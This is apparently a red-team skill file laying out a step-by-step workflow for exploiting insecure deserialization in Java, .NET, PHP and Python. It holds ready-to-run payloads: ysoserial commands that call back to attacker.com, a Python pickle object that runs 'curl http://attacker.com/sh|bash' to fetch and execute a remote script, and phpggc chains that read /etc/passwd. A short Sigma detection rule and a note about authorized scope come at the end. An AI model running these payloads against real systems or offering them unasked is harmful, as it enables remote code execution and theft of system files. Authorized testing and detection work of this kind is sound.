<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: exploiting-deserialization
description: >-
  Exploit insecure deserialization in Java, .NET, PHP, Python for RCE.
domain: cybersecurity
subdomain: red-team
tags:
  - deserialization
  - rce
  - ysoserial
  - java
  - pickle
  - gadget-chains
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1059", "T1190"]
  tools: ["ysoserial", "ysoserial-net", "phpggc"]
---

# Exploiting Deserialization

## Overview

Insecure deserialization (CWE-502) allows RCE by manipulating serialized objects. Uses gadget chains in Java (ysoserial), .NET (ysoserial.net), PHP (PHPGGC), and Python (pickle).

## Prerequisites

- Tools: ["ysoserial", "ysoserial-net", "phpggc"]
- Authorized testing engagement with written scope

## Key Concepts

See workflow sections for technique-specific concepts.

## Workflow

### Step 1: Identify Deserialization Points
```bash
# Java: rO0AB (base64) or AC ED 00 05 (hex)
# .NET: AAEAAAD/ (base64) or $type in JSON
# PHP: O:4:"User":2:{...}
# Python: pickle protocol bytes
grep -r "rO0AB" burp_export.xml
```

### Step 2: Java Payloads
```bash
java -jar ysoserial-all.jar CommonsCollections1 'ping attacker.com' > payload.bin
java -jar ysoserial-all.jar URLDNS 'http://callback.attacker.com' > urldns.bin
```

### Step 3: Python Pickle
```python
import pickle, base64, os
class RCE:
    def __reduce__(self):
        return (os.system, ('curl http://attacker.com/sh|bash',))
print(base64.b64encode(pickle.dumps(RCE())).decode())
```

### Step 4: PHP
```bash
phpggc Laravel/RCE1 system 'id' -b
phpggc Symfony/RCE4 exec 'cat /etc/passwd'
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|------------|
| Serialized objects | WAF | Base64 markers in HTTP |
| Process spawning | Sysmon | App server child processes |

```yaml
title: Java Deserialization Attack
id: e6f7a8b9-0c1d-2e3f-4a5b-6c7d8e9f0a1b
status: experimental
logsource:
  category: webserver
detection:
  selection:
    cs-uri-query|contains: 'rO0AB'
  condition: selection
level: critical
tags:
  - attack.execution
  - attack.t1059
```

## Verification

- [ ] Technique executed successfully within scope
- [ ] Results documented with evidence
- [ ] Detection artifacts identified
- [ ] Cleanup performed after testing

## References

- [ysoserial](https://github.com/frohoff/ysoserial)
- [PHPGGC](https://github.com/ambionics/phpggc)
- [MITRE T1059](https://attack.mitre.org/techniques/T1059/)
